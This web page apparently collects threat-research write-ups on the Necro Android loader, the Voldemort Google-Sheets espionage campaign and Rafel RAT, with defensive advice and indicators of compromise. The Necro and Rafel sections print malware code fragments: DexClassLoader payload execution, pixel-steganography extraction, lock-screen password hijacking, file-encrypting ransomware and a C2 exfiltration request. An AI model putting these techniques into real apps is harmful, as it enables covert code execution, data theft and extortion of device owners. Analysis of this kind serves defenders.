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Banking Trojan

Credentials Stealer

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Escobar Malware: An emerging threat to stealing credentials from your Phone

Aberebot, Android banking trojan resurrected with a new name as Escobar Trojan with updated features while offering a homage to Colombian Drug Lord...

25-Mar-2022
4 min read

Related Articles

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Android

NECRO

Explore the resurgence of the Necro Trojan, its infiltration of Google Play, and...

In recent years, the landscape of mobile malware has dramatically evolved, especially as users increasingly seek modified applications (mods) for popular services like [Spotify]( and WhatsApp. These mods often promise users enhanced functionality or ad-free experiences. Unfortunately, many of these unofficial modifications come with significant risks, including embedded malware that can compromise user data and device security. One such threat that has resurfaced is the **Necro Trojan**, a multi-stage malware loader that has been found infiltrating popular apps both on unofficial sources and within Google Play itself. The Necro Trojan poses a significant risk due to its sophisticated evasion techniques, including **obfuscation**, **steganography**, and multi-stage payload deployment, making it challenging to detect and mitigate. ### Significance of the Threat Necro is not just another run-of-the-mill malware. Its modular design allows it to execute a variety of malicious functions, such as: - Displaying ads in invisible windows. - Interacting with web elements in the background. - Downloading and executing arbitrary files. - Installing applications covertly. - Subscribing users to paid services without their consent. In total, **millions of devices** have been affected by this malware, which demonstrates the wide-reaching consequences of using modded applications from unofficial sources. Necro’s reappearance on **Google Play** through infected apps signals the continuous efforts of cybercriminals to exploit both trusted and untrusted distribution channels, significantly increasing the scope of potential victims. --- ### Technical Analysis #### Discovery of Necro Trojan The Necro Trojan was first discovered in 2019 when it was embedded in the widely used document-scanning application **CamScanner** on Google Play. At the time, the app had over **100 million downloads**. The malicious Necro loader was hidden within an innocuous-looking update, which, once installed, delivered the payload to the user’s device. Fast forward to 2024, and Necro has returned with even more complex evasion techniques and wider distribution. ***Spotify mod*** In **late August 2024**, security researchers identified the Necro Trojan once again, this time embedded in modded applications like **Spotify Plus** and **WhatsApp mods**, downloaded from unofficial sources. What made the discovery particularly concerning was that some infected apps were found within the **Google Play Store**, indicating that even vetted platforms are not immune to Necro's reach. #### Malware Delivery & Spread ##### Initial Infection Vectors The primary infection vectors for the Necro Trojan include: 1. **Unofficial APK websites**: Users looking for modified versions of apps, such as Spotify mods with premium features unlocked, were downloading infected versions from websites like **spotiplus[.]xyz**. These websites falsely claimed to offer certified and safe versions of the applications, luring users into a false sense of security. 2. **Google Play Store**: Legitimate-looking applications, such as **Wuta Camera** and **Max Browser**, were found to have been compromised with the Necro loader. These apps were downloaded millions of times, illustrating the widespread distribution. ***Wuta Camera App in Google Play*** ###### Example: In **Wuta Camera**, a popular photo-editing app, the Necro loader was embedded in versions starting from **v6.3.2.148**. By the time the malicious activity was discovered, the app had been downloaded over **10 million times**. After security researchers flagged the issue, the loader was removed in **v6.3.7.138**. ##### Modifications and Trojan Features Necro Trojan’s operation hinges on its ability to **modify legitimate apps** without arousing suspicion. A typical infected app includes a **custom Application subclass** that initializes a malicious SDK, such as **Coral SDK**, during its execution. This SDK is responsible for integrating various advertising modules into the app, but more importantly, it communicates with a **Command-and-Control (C2) server**, transmitting data about the compromised device. The C2 server then issues commands back to the Trojan, triggering specific malicious behaviors like: - Downloading additional malware. - Running code via the **DexClassLoader** (allowing it to execute arbitrary Java files). - Interacting with invisible ads to generate revenue for the attackers. ###### Technical Example: Here is a sample of the JSON data transmitted by the Trojan to the C2 server: ```json { "appId": "REDACTED", "channelId": "com.spoti.plus", "androidId": "REDACTED", "isAdb": false, "isProxy": false, "isSimulator": false, "isDebug": false, "localShellVer": 0, "sdkVer": 116, "appVersion": "1020000005", "appVersionName": "18.9.40.5" } ``` --- ### Obfuscation Techniques and Multi-Stage Payload Execution #### Obfuscation and Steganography One of the reasons Necro is so difficult to detect lies in its sophisticated use of **obfuscation techniques**. The malicious code is obfuscated using tools like **OLLVM** (Obfuscator-LLVM), which scrambles the code into a format that is extremely challenging to decompile or analyze. Additionally, **steganography** is employed to hide payloads within seemingly innocuous files, such as **PNG images**. The Trojan downloads these images from the C2 server, extracts the hidden data using Android’s `getPixel` method, and then reconstructs it into a **Base64-encoded JAR file**. Once decoded, this JAR file is executed by **DexClassLoader**, allowing the Trojan to execute the next stage of its payload without raising red flags. ###### Example of Steganography: The image contains the encoded payload in its least significant byte (LSB) values: ```java int pixelValue = bitmap.getPixel(x, y); byte payloadByte = (byte) (pixelValue & 0xFF); // Extracts the blue channel data (LSB) ``` This payload extraction process highlights Necro’s advanced ability to hide in plain sight and execute code without triggering conventional antivirus software. ### Real-World Case Studies #### Infected Applications: Wuta Camera and Max Browser ##### Wuta Camera: **Wuta Camera** is a widely used photo-editing app available on **Google Play** with over **10 million downloads**. It was initially released as a legitimate app, but in **version 6.3.2.148**, the Necro Trojan was embedded within it. This infection allowed attackers to exploit a large user base, especially in regions like **Russia, Brazil,** and **Vietnam**. By the time the infected version was discovered, thousands of users had already been affected. ###### How Necro Operated Within Wuta Camera: 1. Upon launch, Wuta Camera initialized its legitimate functions, including photo-editing features, while the **Necro Trojan loader** ran in the background. 2. Necro would connect to its **C2 server**, transmitting details about the user’s device, including **IMEI, IMSI**, and **Android OS version**. 3. The C2 server could then issue commands to: - Open **invisible WebViews** to interact with ads. - Download additional malware payloads (e.g., DexClassLoader running Base64 JARs). - Exfiltrate sensitive device information. After being reported by security researchers, **Google Play removed the malicious version**, and Wuta Camera was forced to release a **clean version** in **6.3.7.138**. ##### Max Browser: **Max Browser** was another popular app infected with the Necro Trojan. With over **1 million downloads**, it represented a significant attack vector for the Trojan authors. **Version 1.2.0** of Max Browser included the **Necro loader**, which used **Firebase Remote Config** to remotely update its payload. This version of the Trojan also utilized steganography to conceal malicious code in image files downloaded from the C2. ###### Key Features of the Necro Trojan in Max Browser: - **Obfuscation Layers**: Code was highly obfuscated using **OLLVM** and encrypted communication methods to evade security detection. - **Network Behavior**: The browser sent user data and app information to a remote server through encrypted POST requests, making it challenging for traditional security tools to detect. - **Stealth Operation**: Like Wuta Camera, Max Browser could open **hidden WebViews** to perform background ad fraud, ultimately draining user data and resources without their knowledge. By the time researchers identified the infection, the Trojan had affected a large number of users, primarily in **Southeast Asia**. The infected version was promptly removed after being flagged. --- ### Deep Dive into Code and Execution #### Code Samples and Steganographic Payload Extraction The **Necro Trojan** is particularly notable for its use of advanced code obfuscation and payload delivery techniques. Here, we will explore some of the **core technical elements** of the malware, including code samples that highlight its behavior. ##### DexClassLoader and Base64 Payload Execution One of the Trojan’s most dangerous techniques is its use of **DexClassLoader** to load and execute malicious payloads from dynamically downloaded JAR files. This allows the malware to evade static analysis and deliver malicious code at runtime. ###### Code Sample 1: Loading the Payload with DexClassLoader ```java // Sample code from the Trojan showing how a Base64-encoded JAR is loaded and executed. String encodedJar = "Base64 encoded JAR string here"; byte[] decodedJar = Base64.decode(encodedJar, Base64.DEFAULT); // Write the decoded bytes to a temporary file. File tempJar = new File(context.getCacheDir(), "temp.jar"); FileOutputStream fos = new FileOutputStream(tempJar); fos.write(decodedJar); fos.close(); // Use DexClassLoader to load and execute the JAR file. DexClassLoader classLoader = new DexClassLoader(tempJar.getPath(), context.getDir("dex", 0).getAbsolutePath(), null, context.getClassLoader()); Class<?> loadedClass = classLoader.loadClass("com.malicious.EntryPoint"); Method runMethod = loadedClass.getMethod("run"); runMethod.invoke(null); ``` **Explanation**: - The Trojan first decodes the **Base64-encoded JAR file** that it downloads from the C2 server. - The decoded file is temporarily stored in the app’s cache directory. - Using **DexClassLoader**, the malware dynamically loads the decoded JAR, making it invisible to many anti-malware tools. - The entry point `run()` method is invoked, which executes the next stage of the payload. #### Steganographic Techniques Another highly advanced technique used by the Necro Trojan is **steganography**. The payload is hidden inside **PNG images** using a simple, yet effective, **least significant bit (LSB) extraction** technique. By embedding the payload in the image, the Trojan can bypass traditional antivirus scanning, which doesn’t typically scan images for malicious code. ###### Code Sample 2: Extracting Payload from PNG Images ```java // Extracting the payload hidden in the least significant byte (LSB) of each pixel. Bitmap image = BitmapFactory.decodeStream(new FileInputStream("path/to/downloaded/image.png")); ByteBuffer payloadBuffer = ByteBuffer.allocate(image.getWidth() * image.getHeight() * 4); for (int y = 0; y < image.getHeight(); y++) { for (int x = 0; x < image.getWidth(); x++) { int pixel = image.getPixel(x, y); payloadBuffer.put((byte) (pixel & 0xFF)); // Store the least significant byte (blue channel) } } // Reconstruct the payload from the extracted bytes byte[] payload = new byte[payloadBuffer.position()]; payloadBuffer.rewind(); payloadBuffer.get(payload); // Decode the payload and prepare it for execution String base64Payload = new String(payload, StandardCharsets.UTF_8); byte[] decodedPayload = Base64.decode(base64Payload, Base64.DEFAULT); ``` **Explanation**: - The Trojan decodes the hidden payload from the **least significant byte (LSB)** of each pixel in the PNG image. - It reconstructs the Base64-encoded payload and then decodes it. - The decoded payload is then processed, typically by using **DexClassLoader** to execute the next stage. --- ***Infection Diagram*** ### Security Recommendations Given the sophisticated nature of the Necro Trojan, security measures need to go beyond traditional antivirus or basic app security. Here are **super-tailored and targeted recommendations** for users, developers, and enterprises: #### 1. For Users: - **Only Download Apps from Trusted Sources**: Stick to **official app stores** like Google Play or the Apple App Store, and avoid installing APKs from third-party websites. - **Verify App Permissions**: Always review the permissions an app requests. If an app requests permissions that seem excessive for its functionality (e.g., a photo-editing app requesting access to SMS), it should raise a red flag. - **Regularly Update Apps and OS**: Ensure that your device and apps are always running the latest versions, as these updates often include critical security patches. - **Use a Reputable Security Solution**: Install security software that specifically scans for **hidden malware**, such as steganography, and can analyze **real-time network behavior**. #### 2. For Developers: - **Review Third-Party SDKs**: The Trojan’s infection vector often involves compromised third-party SDKs, such as ad modules. Ensure that all SDKs used in the app are from trusted sources and regularly vetted for security. - **Implement Code Obfuscation Techniques**: While this seems counterintuitive, developers can also use obfuscation tools (like **ProGuard**) to prevent their apps from being easily modified or reverse-engineered by attackers. - **Monitor App for Abnormal Behavior**: Developers should implement analytics and monitoring that can detect unusual behaviors, such as large, unexpected data transfers or background app installations. #### 3. For Enterprises: - **Implement Mobile Device Management (MDM)**: Enterprises should use **MDM solutions** to monitor and control apps installed on company devices. These systems can help enforce policies that prevent the installation of unapproved apps. - **Network Traffic Monitoring**: Implement systems that can detect abnormal network traffic patterns, especially **encrypted outbound connections** to suspicious domains (e.g., bearsplay[.]com). - **Regular Threat Intelligence Feeds**: Subscribe to threat intelligence feeds that report new indicators of compromise (IOCs) for emerging threats like Necro. This allows security teams to update their defense mechanisms in real-time. #### 4. Additional Security Recommendations: - **Use App Sandboxing**: Running apps in a sandbox environment can help mitigate the damage if malware is present. Even if an app attempts to exfiltrate data or execute a payload, it will be limited to the sandboxed environment. - **Deep Packet Inspection (DPI)**: For enterprises, utilizing **DPI tools** can help detect malicious traffic by inspecting data packets in real-time, even if the malware uses obfuscation techniques. --- ### Conclusion The resurgence of the **Necro Trojan** illustrates the persistent and evolving threats that target mobile devices. Its ability to evade detection through **multi-stage loading**, **obfuscation**, and **steganography** poses a significant challenge to both users and security professionals. With millions of devices affected globally, the Necro Trojan demonstrates how even trusted platforms like Google Play can become a distribution vector for sophisticated malware. To mitigate these risks, it is crucial for all stakeholders—users, developers, and enterprises—to remain vigilant. Users must exercise caution when downloading apps, developers need to ensure their applications are secure and uncompromised, and enterprises must deploy robust security measures to protect their devices and data from these evolving threats. By staying informed, employing best security practices, and leveraging advanced security solutions, we can collectively reduce the threat posed by malware like Necro.

loading..   25-Sep-2024
loading..   1 min read
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Malware

Voldemort Malware exploits Google Sheets for espionage, blending cybercrime with...

This **Threat Research** explores the underlying intricacies of the **Voldemort malware campaign**, a highly sophisticated cyber-espionage operation. Designed for **Malware Researchers**, **Security Analysts**, **CISOs**, and **CSOs**, this [analysis](https://www.secureblink.com/threat-research) delves into Voldemort’s use of trusted services, **multi-vector attacks**, and its ability to blend **cybercrime and espionage techniques**. Key to the campaign is its abuse of **Google Sheets** for **Command and Control (C2)** communications, masking its malicious activities behind trusted services. Furthermore, Voldemort uses **DLL side-loading** via legitimate Cisco WebEx executables and advanced **[fileless techniques](https://www.secureblink.com/cyber-security-news/phishing-espionage-attack-targets-us-taiwan-defense-conference)**, emphasizing the threat it poses to modern enterprises. --- #### **Scope** The Voldemort malware targets a broad range of industries including **insurance**, **aerospace**, **transportation**, and **education**, combining **espionage** with **cybercrime** techniques. This Threat Research & Analysis addresses: - **Phishing Techniques**: Detailing how Voldemort used **language-customized phishing** lures impersonating tax authorities. - **C2 via Legitimate Platforms**: Explaining the operational stealth of using **Google Sheets** for command communication and data exfiltration. - **DLL Side-loading and Exploits**: Investigating how Voldemort leverages legitimate software vulnerabilities. - **Espionage and Cybercrime Convergence**: Analyzing the blending of **cybercriminal** and **nation-state espionage** tactics. --- #### **Voldemort as a Hybrid Threat** The Voldemort malware combines **cybercrime** and **espionage**, using familiar techniques such as **phishing** while incorporating sophisticated evasion tactics like **cloud-based C2 infrastructure**. This hybridization is what makes Voldemort an **unprecedented** threat. ![Screenshot 2024-08-29 at 10.48.18 AM.png](https://sb-cms.s3.ap-south-1.amazonaws.com/Screenshot_2024_08_29_at_10_48_18_AM_2fa1f2cd2c.png) ***sectors Voldemort malware email campaigns have been active (proofpoint)*** --- ### **Campaign Overview: Voldemort Malware** --- #### **Campaign Start and Phishing Volume** Voldemort’s first detection occurred on **August 5, 2024**, escalating rapidly with **20,000 phishing emails** sent by **mid-August**. The campaign’s **phishing emails** targeted more than **70 organizations globally** in industries like **insurance** and **aerospace**, pointing to potential **industrial espionage**. --- #### **Phishing Lures and Techniques** - **Impersonation Strategy**: Phishing emails impersonated tax authorities, such as **IRS (US)** and **HMRC (UK)**, using authentic sender domains to bypass basic security controls. - **Custom Language Phishing**: Emails were customized based on the region, targeting victims in their native language, further adding to their legitimacy. - **Embedded URLs**: Phishing emails included **Google AMP Cache URLs**, redirecting victims to **InfinityFree** hosted landing pages that delivered malicious payloads. ![Screenshot 2024-08-29 at 10.49.26 AM.png](https://sb-cms.s3.ap-south-1.amazonaws.com/Screenshot_2024_08_29_at_10_49_26_AM_422fff4225.png) ***InfinityFree hosted landing page*** --- #### **Initial Attack Chain and Exploits** - **Phishing Email Components**: Clicking the malicious link triggered a **search-ms URI** download, masking malicious LNK or ZIP files as legitimate PDF documents. - **C2 via Google Sheets**: **Google Sheets** was used as the primary C2, allowing Voldemort to exfiltrate data and receive commands without triggering alarms. --- #### **Mid-Campaign Spike and Evolution** The campaign intensified on **August 17, 2024**, with a peak of **6,000 phishing emails** in one day. As the campaign progressed, attackers evolved their delivery techniques, using **obfuscated payloads** and **[TryCloudflare](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) tunnels** for hosting malicious components. --- ### **Technical Features of Voldemort Malware** --- #### **Backdoor Capabilities: Command Execution and Payload Delivery** At its core, Voldemort uses a **C-based backdoor** to execute **espionage** activities, such as data exfiltration and command execution. The malware initially deploys via a phishing link that triggers **search-ms URI exploitation**, launching **fileless Python scripts** to avoid detection. These scripts gather detailed system information using **platform.uname()**. - **Exfiltration**: Data is **base64 encoded** and sent via encrypted requests to the C2 server. - **Follow-up Payloads**: Voldemort’s backdoor exploits legitimate software like **Cisco WebEx** to deliver secondary payloads using **DLL side-loading**. --- #### **Command and Control via Google Sheets** Voldemort’s most unique feature is its use of **Google Sheets** for C2 communications. This allows the malware to stay under the radar by communicating through **trusted cloud platforms**. Each infected machine is assigned a **UUID**, which it uses to interact with designated cells in the Google Sheet, executing commands or exfiltrating data. ![p4_6.png](https://sb-cms.s3.ap-south-1.amazonaws.com/p4_6_309cb2ffc4.png) - **Why Hard to Detect**: Traditional **firewalls and IDS** typically whitelist Google services, making it difficult for defenders to identify this **anomalous behavior**. --- #### **DLL Side-Loading and Fileless Execution** Voldemort’s **DLL side-loading** exploits **CiscoCollabHost.exe**, loading its malicious DLL to execute under the guise of a trusted process. Combined with **fileless execution** using **PowerShell** and **Python scripts** from **WebDAV shares**, this strategy allows Voldemort to bypass endpoint protection systems. ![p13_1.png](https://sb-cms.s3.ap-south-1.amazonaws.com/p13_1_aaa689de72.png) --- #### **Key Command Set** - **Ping**: Tests connectivity to C2 servers. - **Dir**: Retrieves directory listings for further exploration. - **Download/Upload**: Facilitates file exfiltration and payload deployment. - **Exec**: Executes commands remotely, giving full control over the infected machine. --- ### **Post-Exploitation and Persistence** --- Voldemort uses **scheduled tasks** to maintain persistence, ensuring its backdoor remains active after reboots. Additionally, the malware’s backdoor includes a **delayed execution** mechanism to avoid sandbox analysis. --- ### **Espionage Motivation and Attribution** --- Voldemort’s campaign exhibits characteristics of **Advanced Persistent Threats (APTs)**, focusing on **espionage** rather than financial gain. The malware targets **high-value sectors** like **aerospace** and **insurance**, which suggests **state-sponsored motivations**. #### **Blurring Cybercrime and Espionage** While Voldemort employs **cybercriminal tactics**, such as phishing, its long-term data collection and intelligence-gathering capabilities point to **espionage objectives**. The **blending of techniques** makes it difficult to attribute to a specific threat actor. --- ### **Indicators of Compromise (IoCs)** --- #### **Phishing URLs and Redirect Mechanisms** Key **phishing URLs** hosted on **InfinityFree** and **Google AMP Cache** are primary indicators of compromise. These URLs often redirect victims to landing pages containing malicious files. - **Examples**: - `hxxps://pubs[.]infinityfreeapp[.]com/IRS_P966[.]html` - `hxxps://resource[.]infinityfreeapp[.]com/ABC_of_Tax[.]html` --- #### **Malicious File Hashes** Monitoring file hashes such as **CiscoSparkLauncher.dll** and **test.zip** can help identify and block malicious files. - **CiscoSparkLauncher.dll Hash**: `561e15a46f474255fda693afd644c8674912df495bada726dbe7565eae2284fb` --- #### **IP Addresses: WebDAV and TryCloudflare Tunnels** **WebDAV shares** and **TryCloudflare tunnels** were used for payload delivery and command execution. - **Key IP**: `83[.]147[.]243[.]18` --- ### **Defensive Measures and Recommendations** --- #### **Monitor Google Sheets Traffic** Monitoring for **anomalous traffic** to **Google Sheets** is essential. Any unusual volume of data transferred or repeated connections from the same machine should raise alerts. --- #### **Restrict External File Access** Restrict access to **unnecessary external file-sharing services** like **WebDAV** and **TryCloudflare** to prevent fileless execution. --- #### **Implement Behavioral Detection** Since Voldemort relies on **fileless execution**, **behavioral-based detection** is critical. Monitoring **PowerShell and API calls** for anomalies can reveal malware attempting to execute scripts from remote sources. --- ### **Conclusion: Comprehensive Analysis of Voldemort Malware** The **Voldemort malware campaign** represents an evolution in **cyber-espionage**, merging **cybercriminal** and **nation-state tactics**. Its abuse of **trusted platforms** like **Google Sheets** introduces new challenges for defenders. As malware continues to leverage **cloud-based infrastructure** and **fileless execution**, security teams must evolve their defenses to monitor **trusted services** and detect **anomalous behaviors** early.

loading..   23-Sep-2024
loading..   1 min read
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Android

RAT

Encryption

Explore how Rafel RAT exploits vulnerabilities in outdated Android devices, orch...

Rafel RAT is an open-source malware tool designed to operate stealthily on Android devices. This powerful remote administration toolkit enables malicious actors to conduct a range of nefarious activities, from data theft to device manipulation. Recent investigations by CP Research have made it evident that it is currently used by multiple threat actors, including espionage groups. This [Threat Research](https://www.secureblink.com/threat-research) analysis will rigorously dissect the critical nuances of Rafel RAT, its operational mechanisms, and the broader implications of its deployment. ### Key Features and Capabilities Rafel RAT boasts a suite of features that facilitate its covert operations. These include: - **Admin Permission:** Grants the malware elevated privileges. - **Whitelist Inclusion:** Ignore battery optimization, ensuring persistence. - **Legitimate Appearance:** Disguised as a legitimate mod app. - **Background Execution:** Operates even when the app is closed (limited device compatibility). - **Accessibility Features:** Utilizes accessibility services, although this may cause errors on some devices. - **Android Support:** Compatible with Android versions 5 through 12. - **Wakelock Acquisition:** Prevents the device from sleeping. - **Undetectability:** Bypasses PlayProtect, making it challenging to detect. - **Device Manipulation:** Can wipe the SD card, lock the device screen, change wallpaper, vibrate the device, delete call logs, and notify victims via Discord. - **Notification Theft:** Steals notifications and sends them through Discord. - **AutoStart Capability:** Configured for devices from manufacturers like Poco, Xiaomi, Oppo, Vivo, LetV, and Honor. ### Campaigns and Victim Analysis The deployment of Rafel RAT spans approximately 120 distinct malicious campaigns, targeting high-profile organizations, including military sectors. Victims predominantly hail from the United States, China, and Indonesia, but the geographic spread is extensive. Notably, Samsung devices were most frequently targeted, followed by Xiaomi, Vivo, and Huawei. The malware’s ability to extract sensitive information, such as phonebook contacts and two-factor authentication messages, poses significant risks, enabling lateral movement within organizations. ### Technical Analysis #### Permission Request Mechanism Upon initiation, Rafel RAT seeks essential permissions to ensure its operations. The auto start function exemplifies this approach, modifying the device's settings to guarantee persistence. ```java private void autostart() { try { Intent intent = new Intent(); String manufacturer = android.os.Build.MANUFACTURER; if ("xiaomi".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity")); } else if ("oppo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.coloros.safecenter", "com.coloros.safecenter.permission.startup.StartupAppListActivity")); } else if ("vivo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.vivo.permissionmanager", "com.vivo.permissionmanager.activity.BgStartUpManagerActivity")); } else if ("Letv".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.AutobootManageActivity")); } else if ("Honor".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.huawei.systemmanager", "com.huawei.systemmanager.optimize.process.ProtectActivity")); } List<ResolveInfo> list = getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); if (list.size() > 0) { startActivity(intent); } } catch (Exception e) { Log.e("exc", String.valueOf(e)); } } ``` ### Phishing and Deception Tactics Rafel RAT leverages deceptive tactics to manipulate user trust and exploit interactions. It often impersonates legitimate applications like Instagram, WhatsApp, e-commerce platforms, antivirus programs, and support apps. These deceptive strategies enhance its ability to evade detection and gain necessary permissions. ![Malware Activity.jpg](https://sb-cms.s3.ap-south-1.amazonaws.com/Malware_Activity_469e641652.jpg) ***Malware Activity [CP Research](https://research.checkpoint.com/2024/rafel-rat-android-malware-from-espionage-to-ransomware-operations/)*** #### Background Service Operations Once activated, Rafel RAT deploys a background service to manage communication with the command-and-control (C&C) server. ```java @Override // android.app.Service public int onStartCommand(Intent intent, int flags, int startId) { String input = intent.getStringExtra("inputExtra"); this.createNotificationChannel(); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText(input) .setSmallIcon(R.drawable.ic_notification) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); return START_NOT_STICKY; } ``` The InternalService initializes communication, activates location tracking, and sets up Text-To-Speech components. ```java private void init() { new Builder().setContext(this.context).setMode(0).setPrefsName("prefs").setPrefsMode(0).build(); this.deviceUniqueId = new EasyIdMod(this.context).getPseudoUniqueID(); this.getDeviceInfo(); this.checkCmdFromServer(); this.startLocationService(); this.prepareTTs(); } ``` ### Communication Protocols Communication with the C&C server occurs over HTTP(S) protocols. Initial client-server interactions involve transmitting device information, including identifiers, locale, country, model specifics, and operator details. ```plaintext POST /Server_Panel/public/commands.php HTTP/2 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 246 Accept-Encoding: gzip, deflate User-Agent: okhttp/3.10.0 country=US&total_ram=1.811512&unique_id=abcdefg12345&device_model=LGE-Nexus%205&device_language=en&is_rooted=false&software_version=Android%206.0.1&sim_operator=&charge=42% ``` ### Command Execution The range of commands supported by Rafel RAT is extensive. Commands include: - **rehber_oku:** Exfiltrates the phone book. - **sms_oku:** Extracts all SMS messages. - **send_sms:** Sends SMS messages. - **device_info:** Transmits device information. - **location_tracker:** Sends live location data. - **arama_gecmisi:** Exfiltrates call logs. - **screen_message:** Displays a floating message. - **wipe:** Deletes specified files. - **LockTheScreen:** Locks the device screen. - **ransomware:** Initiates file encryption. - **changewallpaper:** Changes the device wallpaper. - **vibrate:** Vibrates the device for 20 seconds. - **deletecalls:** Wipes call history. - **voice_message:** Uses Text-to-Speech to relay messages. - **get_list_file:** Sends directory tree information. - **upload_file_path:** Uploads specific files. - **application_list:** Lists installed applications. ### Defensive Measures and Evasion Tactics Rafel RAT employs several protective mechanisms to evade detection and disrupt analysis. These include string encryption, usage of packers, and anti-evasion techniques designed to bypass automated analysis tools. ### Command & Control Interface The C&C interface for Rafel RAT is a PHP-based panel that does not require a traditional database. Instead, it utilizes JSON files for storage and management. Upon logging in, threat actors can access detailed information about infected devices and execute various commands. ![9MGUJS4ZGU-rId70.webp](https://sb-cms.s3.ap-south-1.amazonaws.com/9_MGUJS_4_ZGU_r_Id70_19bb8c2da0.webp) ***Admin Panel*** #### Panel Features - **Device Information:** Phone model, Android version, geographical context, SIM operator, battery charge, and root status. - **Commands:** Retrieve contacts, SMS messages, device info, call logs, and location data. Execute ransomware, change wallpapers, lock screens, and more. ### Case Studies and Campaigns #### Ransomware Operations Rafel RAT's ransomware capabilities include locking the screen and encrypting files using AES encryption. The malware can change the lock-screen password, preventing users from revoking admin privileges. ```java public class DeviceAdminComponent extends DeviceAdminReceiver { private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"; public CharSequence onDisableRequested(Context context, Intent intent) { ComponentName localComponentName = new ComponentName(context, DeviceAdminComponent.class); DevicePolicyManager localDevicePolicyManager = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE); if (localDevicePolicyManager.isAdminActive(localComponentName)) { localDevicePolicyManager.setPasswordQuality(localComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC); localDevicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, DevicePolicyManager.RESET_PASSWORD_REQUIRE_ENTRY); localDevicePolicyManager.lockNow(); } return super.onDisableRequested(context, intent); } } ``` Additionally, the malware incorporates file encryption methods. ```java public void encryptFile() throws Exception { for (File file : files) { if (!file.getPath().contains(".enc")) { byte[] enc = Aes.encrypt(KEY, fullyReadFileToBytes(file)); file.delete(); saveFile(enc, file.getPath() + ".enc"); } } } ``` ### Threat Actors and Government Infrastructure One notable case involved a threat actor hacking a Pakistani government website and using it as a C&C server for Rafel RAT. The hacker publicly celebrated the breach, highlighting the threat's potential impact on government infrastructure. ### Indicators of Compromise (IOCs) - **SHA256 Hashes:** - d1f2ed3e379cde7375 f2ec6f5e2a720151c25bb504abe376a3488a69df540a42 - b9af3d728dd5fc1a7ad08675e0845e375db9f4b0bfa33eb7d0338cc8d8d8e2b6 - **IP Addresses:** - 194.31.98.10 - 185.116.237.245 - **Domains:** - psks.to - casperbc.com - raas.site - **Files:** Indicators from various campaigns including MD5 hashes, email addresses, and additional IP addresses. ### Conclusion Rafel RAT represents a sophisticated and versatile threat to Android devices, with wide-ranging capabilities from espionage to ransomware deployment. Its deployment in numerous campaigns targeting high-profile sectors underscores its danger. Understanding its inner workings, from permissions to C&C communication, equips cybersecurity professionals to better defend against and mitigate this threat.

loading..   24-Jun-2024
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